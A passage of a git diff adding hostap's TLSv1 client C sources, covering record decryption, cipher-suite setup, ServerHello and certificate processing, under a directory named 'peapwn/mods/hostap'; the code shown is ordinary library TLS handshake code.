wpa_printf(MSG_DEBUG, "TLSv1: Need more data"); + partial = wpabuf_alloc_copy(pos, in_end - pos); + wpabuf_free(conn->partial_input); + conn->partial_input = partial; + if (conn->partial_input == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to " + "allocate memory for pending " + "record"); + alert = TLS_ALERT_INTERNAL_ERROR; + goto fail; + } + if (need_more_data) + *need_more_data = 1; + return buf; + } + + if (ct == TLS_CONTENT_TYPE_ALERT) { + if (olen < 2) { + wpa_printf(MSG_DEBUG, "TLSv1: Alert " + "underflow"); + alert = TLS_ALERT_DECODE_ERROR; + goto fail; + } + wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", + out_pos[0], out_pos[1]); + if (out_pos[0] == TLS_ALERT_LEVEL_WARNING) { + /* Continue processing */ + pos += used; + continue; + } + + alert = out_pos[1]; + goto fail; + } + + if (ct != TLS_CONTENT_TYPE_APPLICATION_DATA) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " + "0x%x when decrypting application data", + pos[0]); + alert = TLS_ALERT_UNEXPECTED_MESSAGE; + goto fail; + } + + wpabuf_put(buf, olen); + + pos += used; + } + + wpabuf_free(conn->partial_input); + conn->partial_input = NULL; + return buf; + +fail: + wpabuf_free(buf); + wpabuf_free(conn->partial_input); + conn->partial_input = NULL; + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); + return NULL; +} + + +/** + * tlsv1_client_global_init - Initialize TLSv1 client + * Returns: 0 on success, -1 on failure + * + * This function must be called before using any other TLSv1 client functions. + */ +int tlsv1_client_global_init(void) +{ + return crypto_global_init(); +} + + +/** + * tlsv1_client_global_deinit - Deinitialize TLSv1 client + * + * This function can be used to deinitialize the TLSv1 client that was + * initialized by calling tlsv1_client_global_init(). No TLSv1 client functions + * can be called after this before calling tlsv1_client_global_init() again. + */ +void tlsv1_client_global_deinit(void) +{ + crypto_global_deinit(); +} + + +/** + * tlsv1_client_init - Initialize TLSv1 client connection + * Returns: Pointer to TLSv1 client connection data or %NULL on failure + */ +struct tlsv1_client * tlsv1_client_init(void) +{ + struct tlsv1_client *conn; + size_t count; + u16 *suites; + + conn = os_zalloc(sizeof(*conn)); + if (conn == NULL) + return NULL; + + conn->state = CLIENT_HELLO; + + if (tls_verify_hash_init(&conn->verify) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " + "hash"); + os_free(conn); + return NULL; + } + + count = 0; + suites = conn->cipher_suites; + suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA256; + suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; + suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA256; + suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; + suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; + suites[count++] = TLS_RSA_WITH_RC4_128_SHA; + suites[count++] = TLS_RSA_WITH_RC4_128_MD5; + conn->num_cipher_suites = count; + + conn->rl.tls_version = TLS_VERSION; + + return conn; +} + + +/** + * tlsv1_client_deinit - Deinitialize TLSv1 client connection + * @conn: TLSv1 client connection data from tlsv1_client_init() + */ +void tlsv1_client_deinit(struct tlsv1_client *conn) +{ + crypto_public_key_free(conn->server_rsa_key); + tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); + tlsv1_record_change_write_cipher(&conn->rl); + tlsv1_record_change_read_cipher(&conn->rl); + tls_verify_hash_free(&conn->verify); + os_free(conn->client_hello_ext); + tlsv1_client_free_dh(conn); + tlsv1_cred_free(conn->cred); + wpabuf_free(conn->partial_input); + os_free(conn); +} + + +/** + * tlsv1_client_established - Check whether connection has been established + * @conn: TLSv1 client connection data from tlsv1_client_init() + * Returns: 1 if connection is established, 0 if not + */ +int tlsv1_client_established(struct tlsv1_client *conn) +{ + return conn->state == ESTABLISHED; +} + + +/** + * tlsv1_client_prf - Use TLS-PRF to derive keying material + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @label: Label (e.g., description of the key) for PRF + * @server_random_first: seed is 0 = client_random|server_random, + * 1 = server_random|client_random + * @out: Buffer for output data from TLS-PRF + * @out_len: Length of the output buffer + * Returns: 0 on success, -1 on failure + */ +int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, + int server_random_first, u8 *out, size_t out_len) +{ + u8 seed[2 * TLS_RANDOM_LEN]; + + if (conn->state != ESTABLISHED) + return -1; + + if (server_random_first) { + os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, + TLS_RANDOM_LEN); + } else { + os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, + TLS_RANDOM_LEN); + } + + return tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + label, seed, 2 * TLS_RANDOM_LEN, out, out_len); +} + + +/** + * tlsv1_client_get_cipher - Get current cipher name + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @buf: Buffer for the cipher name + * @buflen: buf size + * Returns: 0 on success, -1 on failure + * + * Get the name of the currently used cipher. + */ +int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, + size_t buflen) +{ + char *cipher; + + switch (conn->rl.cipher_suite) { + case TLS_RSA_WITH_RC4_128_MD5: + cipher = "RC4-MD5"; + break; + case TLS_RSA_WITH_RC4_128_SHA: + cipher = "RC4-SHA"; + break; + case TLS_RSA_WITH_DES_CBC_SHA: + cipher = "DES-CBC-SHA"; + break; + case TLS_RSA_WITH_3DES_EDE_CBC_SHA: + cipher = "DES-CBC3-SHA"; + break; + case TLS_DH_anon_WITH_AES_128_CBC_SHA256: + cipher = "ADH-AES-128-SHA256"; + break; + case TLS_DH_anon_WITH_AES_128_CBC_SHA: + cipher = "ADH-AES-128-SHA"; + break; + case TLS_RSA_WITH_AES_256_CBC_SHA: + cipher = "AES-256-SHA"; + break; + case TLS_RSA_WITH_AES_256_CBC_SHA256: + cipher = "AES-256-SHA256"; + break; + case TLS_RSA_WITH_AES_128_CBC_SHA: + cipher = "AES-128-SHA"; + break; + case TLS_RSA_WITH_AES_128_CBC_SHA256: + cipher = "AES-128-SHA256"; + break; + default: + return -1; + } + + if (os_strlcpy(buf, cipher, buflen) >= buflen) + return -1; + return 0; +} + + +/** + * tlsv1_client_shutdown - Shutdown TLS connection + * @conn: TLSv1 client connection data from tlsv1_client_init() + * Returns: 0 on success, -1 on failure + */ +int tlsv1_client_shutdown(struct tlsv1_client *conn) +{ + conn->state = CLIENT_HELLO; + + if (tls_verify_hash_init(&conn->verify) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " + "hash"); + return -1; + } + + tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); + tlsv1_record_change_write_cipher(&conn->rl); + tlsv1_record_change_read_cipher(&conn->rl); + + conn->certificate_requested = 0; + crypto_public_key_free(conn->server_rsa_key); + conn->server_rsa_key = NULL; + conn->session_resumed = 0; + + return 0; +} + + +/** + * tlsv1_client_resumed - Was session resumption used + * @conn: TLSv1 client connection data from tlsv1_client_init() + * Returns: 1 if current session used session resumption, 0 if not + */ +int tlsv1_client_resumed(struct tlsv1_client *conn) +{ + return !!conn->session_resumed; +} + + +/** + * tlsv1_client_hello_ext - Set TLS extension for ClientHello + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @ext_type: Extension type + * @data: Extension payload (%NULL to remove extension) + * @data_len: Extension payload length + * Returns: 0 on success, -1 on failure + */ +int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, + const u8 *data, size_t data_len) +{ + u8 *pos; + + conn->session_ticket_included = 0; + os_free(conn->client_hello_ext); + conn->client_hello_ext = NULL; + conn->client_hello_ext_len = 0; + + if (data == NULL || data_len == 0) + return 0; + + pos = conn->client_hello_ext = os_malloc(6 + data_len); + if (pos == NULL) + return -1; + + WPA_PUT_BE16(pos, 4 + data_len); + pos += 2; + WPA_PUT_BE16(pos, ext_type); + pos += 2; + WPA_PUT_BE16(pos, data_len); + pos += 2; + os_memcpy(pos, data, data_len); + conn->client_hello_ext_len = 6 + data_len; + + if (ext_type == TLS_EXT_PAC_OPAQUE) { + conn->session_ticket_included = 1; + wpa_printf(MSG_DEBUG, "TLSv1: Using session ticket"); + } + + return 0; +} + + +/** + * tlsv1_client_get_keys - Get master key and random data from TLS connection + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @keys: Structure of key/random data (filled on success) + * Returns: 0 on success, -1 on failure + */ +int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys) +{ + os_memset(keys, 0, sizeof(*keys)); + if (conn->state == CLIENT_HELLO) + return -1; + + keys->client_random = conn->client_random; + keys->client_random_len = TLS_RANDOM_LEN; + + if (conn->state != SERVER_HELLO) { + keys->server_random = conn->server_random; + keys->server_random_len = TLS_RANDOM_LEN; + keys->master_key = conn->master_secret; + keys->master_key_len = TLS_MASTER_SECRET_LEN; + } + + return 0; +} + + +/** + * tlsv1_client_get_keyblock_size - Get TLS key_block size + * @conn: TLSv1 client connection data from tlsv1_client_init() + * Returns: Size of the key_block for the negotiated cipher suite or -1 on + * failure + */ +int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn) +{ + if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) + return -1; + + return 2 * (conn->rl.hash_size + conn->rl.key_material_len + + conn->rl.iv_size); +} + + +/** + * tlsv1_client_set_cipher_list - Configure acceptable cipher suites + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers + * (TLS_CIPHER_*). + * Returns: 0 on success, -1 on failure + */ +int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers) +{ + size_t count; + u16 *suites; + + /* TODO: implement proper configuration of cipher suites */ + if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { + count = 0; + suites = conn->cipher_suites; + suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA256; + suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; + suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA256; + suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; + suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; + suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; + suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; + + /* + * Cisco AP (at least 350 and 1200 series) local authentication + * server does not know how to search cipher suites from the + * list and seem to require that the last entry in the list is + * the one that it wants to use. However, TLS specification + * requires the list to be in the client preference order. As a + * workaround, add anon-DH AES-128-SHA1 again at the end of the + * list to allow the Cisco code to find it. + */ + suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; + conn->num_cipher_suites = count; + } + + return 0; +} + + +/** + * tlsv1_client_set_cred - Set client credentials + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @cred: Credentials from tlsv1_cred_alloc() + * Returns: 0 on success, -1 on failure + * + * On success, the client takes ownership of the credentials block and caller + * must not free it. On failure, caller is responsible for freeing the + * credential block. + */ +int tlsv1_client_set_cred(struct tlsv1_client *conn, + struct tlsv1_credentials *cred) +{ + tlsv1_cred_free(conn->cred); + conn->cred = cred; + return 0; +} + + +void tlsv1_client_set_time_checks(struct tlsv1_client *conn, int enabled) +{ + conn->disable_time_checks = !enabled; +} + + +void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, + tlsv1_client_session_ticket_cb cb, + void *ctx) +{ + wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", + cb, ctx); + conn->session_ticket_cb = cb; + conn->session_ticket_cb_ctx = ctx; +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_client.h b/peapwn/mods/hostap/src/tls/tlsv1_client.h new file mode 100644 index 000000000..8ec85f1a9 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_client.h @@ -0,0 +1,54 @@ +/* + * TLS v1.0/v1.1/v1.2 client (RFC 2246, RFC 4346, RFC 5246) + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLSV1_CLIENT_H +#define TLSV1_CLIENT_H + +#include "tlsv1_cred.h" + +struct tlsv1_client; + +int tlsv1_client_global_init(void); +void tlsv1_client_global_deinit(void); +struct tlsv1_client * tlsv1_client_init(void); +void tlsv1_client_deinit(struct tlsv1_client *conn); +int tlsv1_client_established(struct tlsv1_client *conn); +int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, + int server_random_first, u8 *out, size_t out_len); +u8 * tlsv1_client_handshake(struct tlsv1_client *conn, + const u8 *in_data, size_t in_len, + size_t *out_len, u8 **appl_data, + size_t *appl_data_len, int *need_more_data); +int tlsv1_client_encrypt(struct tlsv1_client *conn, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t out_len); +struct wpabuf * tlsv1_client_decrypt(struct tlsv1_client *conn, + const u8 *in_data, size_t in_len, + int *need_more_data); +int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, + size_t buflen); +int tlsv1_client_shutdown(struct tlsv1_client *conn); +int tlsv1_client_resumed(struct tlsv1_client *conn); +int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, + const u8 *data, size_t data_len); +int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys); +int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn); +int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers); +int tlsv1_client_set_cred(struct tlsv1_client *conn, + struct tlsv1_credentials *cred); +void tlsv1_client_set_time_checks(struct tlsv1_client *conn, int enabled); + +typedef int (*tlsv1_client_session_ticket_cb) +(void *ctx, const u8 *ticket, size_t len, const u8 *client_random, + const u8 *server_random, u8 *master_secret); + +void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, + tlsv1_client_session_ticket_cb cb, + void *ctx); + +#endif /* TLSV1_CLIENT_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_client_i.h b/peapwn/mods/hostap/src/tls/tlsv1_client_i.h new file mode 100644 index 000000000..55fdcf8d0 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_client_i.h @@ -0,0 +1,84 @@ +/* + * TLSv1 client - internal structures + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLSV1_CLIENT_I_H +#define TLSV1_CLIENT_I_H + +struct tlsv1_client { + enum { + CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, + SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, + SERVER_HELLO_DONE, CLIENT_KEY_EXCHANGE, CHANGE_CIPHER_SPEC, + SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ACK_FINISHED, + ESTABLISHED, FAILED + } state; + + struct tlsv1_record_layer rl; + + u8 session_id[TLS_SESSION_ID_MAX_LEN]; + size_t session_id_len; + u8 client_random[TLS_RANDOM_LEN]; + u8 server_random[TLS_RANDOM_LEN]; + u8 master_secret[TLS_MASTER_SECRET_LEN]; + + u8 alert_level; + u8 alert_description; + + unsigned int certificate_requested:1; + unsigned int session_resumed:1; + unsigned int session_ticket_included:1; + unsigned int use_session_ticket:1; + unsigned int disable_time_checks:1; + + struct crypto_public_key *server_rsa_key; + + struct tls_verify_hash verify; + +#define MAX_CIPHER_COUNT 30 + u16 cipher_suites[MAX_CIPHER_COUNT]; + size_t num_cipher_suites; + + u16 prev_cipher_suite; + + u8 *client_hello_ext; + size_t client_hello_ext_len; + + /* The prime modulus used for Diffie-Hellman */ + u8 *dh_p; + size_t dh_p_len; + /* The generator used for Diffie-Hellman */ + u8 *dh_g; + size_t dh_g_len; + /* The server's Diffie-Hellman public value */ + u8 *dh_ys; + size_t dh_ys_len; + + struct tlsv1_credentials *cred; + + tlsv1_client_session_ticket_cb session_ticket_cb; + void *session_ticket_cb_ctx; + + struct wpabuf *partial_input; +}; + + +void tls_alert(struct tlsv1_client *conn, u8 level, u8 description); +void tlsv1_client_free_dh(struct tlsv1_client *conn); +int tls_derive_pre_master_secret(u8 *pre_master_secret); +int tls_derive_keys(struct tlsv1_client *conn, + const u8 *pre_master_secret, size_t pre_master_secret_len); +u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len); +u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, + u8 description, size_t *out_len); +u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, + int no_appl_data); +int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, + const u8 *buf, size_t *len, + u8 **out_data, size_t *out_len); + +#endif /* TLSV1_CLIENT_I_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_client_read.c b/peapwn/mods/hostap/src/tls/tlsv1_client_read.c new file mode 100644 index 000000000..3269ecf66 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_client_read.c @@ -0,0 +1,999 @@ +/* + * TLSv1 client - read handshake message + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/tls.h" +#include "x509v3.h" +#include "tlsv1_common.h" +#include "tlsv1_record.h" +#include "tlsv1_client.h" +#include "tlsv1_client_i.h" + +static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len); +static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len); +static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len); + + +static int tls_process_server_hello(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len, i; + u16 cipher_suite; + u16 tls_version; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) + goto decode_error; + + /* HandshakeType msg_type */ + if (*pos != TLS_HANDSHAKE_TYPE_SERVER_HELLO) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected ServerHello)", *pos); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHello"); + pos++; + /* uint24 length */ + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) + goto decode_error; + + /* body - ServerHello */ + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: ServerHello", pos, len); + end = pos + len; + + /* ProtocolVersion server_version */ + if (end - pos < 2) + goto decode_error; + tls_version = WPA_GET_BE16(pos); + if (!tls_version_ok(tls_version)) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " + "ServerHello %u.%u", pos[0], pos[1]); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_PROTOCOL_VERSION); + return -1; + } + pos += 2; + + wpa_printf(MSG_DEBUG, "TLSv1: Using TLS v%s", + tls_version_str(tls_version)); + conn->rl.tls_version = tls_version; + + /* Random random */ + if (end - pos < TLS_RANDOM_LEN) + goto decode_error; + + os_memcpy(conn->server_random, pos, TLS_RANDOM_LEN); + pos += TLS_RANDOM_LEN; + wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", + conn->server_random, TLS_RANDOM_LEN); + + /* SessionID session_id */ + if (end - pos < 1) + goto decode_error; + if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) + goto decode_error; + if (conn->session_id_len && conn->session_id_len == *pos && + os_memcmp(conn->session_id, pos + 1, conn->session_id_len) == 0) { + pos += 1 + conn->session_id_len; + wpa_printf(MSG_DEBUG, "TLSv1: Resuming old session"); + conn->session_resumed = 1; + } else { + conn->session_id_len = *pos; + pos++; + os_memcpy(conn->session_id, pos, conn->session_id_len); + pos += conn->session_id_len; + } + wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", + conn->session_id, conn->session_id_len); + + /* CipherSuite cipher_suite */ + if (end - pos < 2) + goto decode_error; + cipher_suite = WPA_GET_BE16(pos); + pos += 2; + for (i = 0; i < conn->num_cipher_suites; i++) { + if (cipher_suite == conn->cipher_suites[i]) + break; + } + if (i == conn->num_cipher_suites) { + wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " + "cipher suite 0x%04x", cipher_suite); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_ILLEGAL_PARAMETER); + return -1; + } + + if (conn->session_resumed && cipher_suite != conn->prev_cipher_suite) { + wpa_printf(MSG_DEBUG, "TLSv1: Server selected a different " + "cipher suite for a resumed connection (0x%04x != " + "0x%04x)", cipher_suite, conn->prev_cipher_suite); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_ILLEGAL_PARAMETER); + return -1; + } + + if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " + "record layer"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + conn->prev_cipher_suite = cipher_suite; + + /* CompressionMethod compression_method */ + if (end - pos < 1) + goto decode_error; + if (*pos != TLS_COMPRESSION_NULL) { + wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " + "compression 0x%02x", *pos); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_ILLEGAL_PARAMETER); + return -1; + } + pos++; + + if (end != pos) { + /* TODO: ServerHello extensions */ + wpa_hexdump(MSG_DEBUG, "TLSv1: Unexpected extra data in the " + "end of ServerHello", pos, end - pos); + goto decode_error; + } + + if (conn->session_ticket_included && conn->session_ticket_cb) { + /* TODO: include SessionTicket extension if one was included in + * ServerHello */ + int res = conn->session_ticket_cb( + conn->session_ticket_cb_ctx, NULL, 0, + conn->client_random, conn->server_random, + conn->master_secret); + if (res < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " + "indicated failure"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_HANDSHAKE_FAILURE); + return -1; + } + conn->use_session_ticket = !!res; + } + + if ((conn->session_resumed || conn->use_session_ticket) && + tls_derive_keys(conn, NULL, 0)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + *in_len = end - in_data; + + conn->state = (conn->session_resumed || conn->use_session_ticket) ? + SERVER_CHANGE_CIPHER_SPEC : SERVER_CERTIFICATE; + + return 0; + +decode_error: + wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ServerHello"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; +} + + +static int tls_process_certificate(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len, list_len, cert_len, idx; + u8 type; + struct x509_certificate *chain = NULL, *last = NULL, *cert; + int reason; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " + "(len=%lu)", (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + type = *pos++; + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " + "length (len=%lu != left=%lu)", + (unsigned long) len, (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + if (type == TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) + return tls_process_server_key_exchange(conn, ct, in_data, + in_len); + if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) + return tls_process_certificate_request(conn, ct, in_data, + in_len); + if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) + return tls_process_server_hello_done(conn, ct, in_data, + in_len); + if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected Certificate/" + "ServerKeyExchange/CertificateRequest/" + "ServerHelloDone)", type); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, + "TLSv1: Received Certificate (certificate_list len %lu)", + (unsigned long) len); + + /* + * opaque ASN.1Cert<2^24-1>; + * + * struct { + * ASN.1Cert certificate_list<1..2^24-1>; + * } Certificate; + */ + + end = pos + len; + + if (end - pos < 3) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " + "(left=%lu)", (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + list_len = WPA_GET_BE24(pos); + pos += 3; + + if ((size_t) (end - pos) != list_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " + "length (len=%lu left=%lu)", + (unsigned long) list_len, + (unsigned long) (end - pos)); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + idx = 0; + while (pos < end) { + if (end - pos < 3) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " + "certificate_list"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + x509_certificate_chain_free(chain); + return -1; + } + + cert_len = WPA_GET_BE24(pos); + pos += 3; + + if ((size_t) (end - pos) < cert_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " + "length (len=%lu left=%lu)", + (unsigned long) cert_len, + (unsigned long) (end - pos)); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + x509_certificate_chain_free(chain); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", + (unsigned long) idx, (unsigned long) cert_len); + + if (idx == 0) { + crypto_public_key_free(conn->server_rsa_key); + if (tls_parse_cert(pos, cert_len, + &conn->server_rsa_key)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " + "the certificate"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_BAD_CERTIFICATE); + x509_certificate_chain_free(chain); + return -1; + } + } + + cert = x509_certificate_parse(pos, cert_len); + if (cert == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " + "the certificate"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_BAD_CERTIFICATE); + x509_certificate_chain_free(chain); + return -1; + } + + if (last == NULL) + chain = cert; + else + last->next = cert; + last = cert; + + idx++; + pos += cert_len; + } + + if (conn->cred && + x509_certificate_chain_validate(conn->cred->trusted_certs, chain, + &reason, conn->disable_time_checks) + < 0) { + int tls_reason; + wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " + "validation failed (reason=%d)", reason); + switch (reason) { + case X509_VALIDATE_BAD_CERTIFICATE: + tls_reason = TLS_ALERT_BAD_CERTIFICATE; + break; + case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: + tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; + break; + case X509_VALIDATE_CERTIFICATE_REVOKED: + tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; + break; + case X509_VALIDATE_CERTIFICATE_EXPIRED: + tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; + break; + case X509_VALIDATE_CERTIFICATE_UNKNOWN: + tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; + break; + case X509_VALIDATE_UNKNOWN_CA: + tls_reason = TLS_ALERT_UNKNOWN_CA; + break; + default: + tls_reason = TLS_ALERT_BAD_CERTIFICATE; + break; + } + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); + x509_certificate_chain_free(chain); + return -1; + } + + x509_certificate_chain_free(chain); + + *in_len = end - in_data; + + conn->state = SERVER_KEY_EXCHANGE; + + return 0; +} + + +static int tlsv1_process_diffie_hellman(struct tlsv1_client *conn, + const u8 *buf, size_t len) +{ + const u8 *pos, *end; + + tlsv1_client_free_dh(conn); + + pos = buf; + end = buf + len; + + if (end - pos < 3) + goto fail; + conn->dh_p_len = WPA_GET_BE16(pos); + pos += 2; + if (conn->dh_p_len == 0 || end - pos < (int) conn->dh_p_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid dh_p length %lu", + (unsigned long) conn->dh_p_len); + goto fail; + } + conn->dh_p = os_malloc(conn->dh_p_len); + if (conn->dh_p == NULL) + goto fail; + os_memcpy(conn->dh_p, pos, conn->dh_p_len); + pos += conn->dh_p_len; + 